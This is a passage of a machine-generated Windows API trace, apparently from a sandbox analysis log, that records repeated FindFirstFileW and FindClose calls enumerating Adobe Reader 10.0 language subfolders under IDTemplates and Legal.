[0029.733] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.768] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.768] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.769] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.769] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.769] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.770] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.770] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.771] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.771] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.771] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.773] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.773] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.773] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.773] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.774] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.774] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.775] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.775] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.775] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.775] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80600540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80600540, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.776] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.776] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x809de900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.777] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.777] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80861b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x809de900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x809de900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.778] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.778] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0029.778] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0029.778] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0029.778] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0029.781] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.782] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.782] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.783] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.783] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.784] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.785] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81cc37a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.786] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.786] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.789] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.789] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.790] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.790] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.791] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.791] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.792] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.792] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.792] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.792] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.793] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.793] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ce9900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.794] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.794] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81cc37a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.794] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.794] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.795] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.795] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.796] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.797] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.797] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.797] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.798] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.799] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.799] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.799] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.800] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.800] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.801] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.801] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.801] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.802] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.802] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.802] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.803] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.803] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 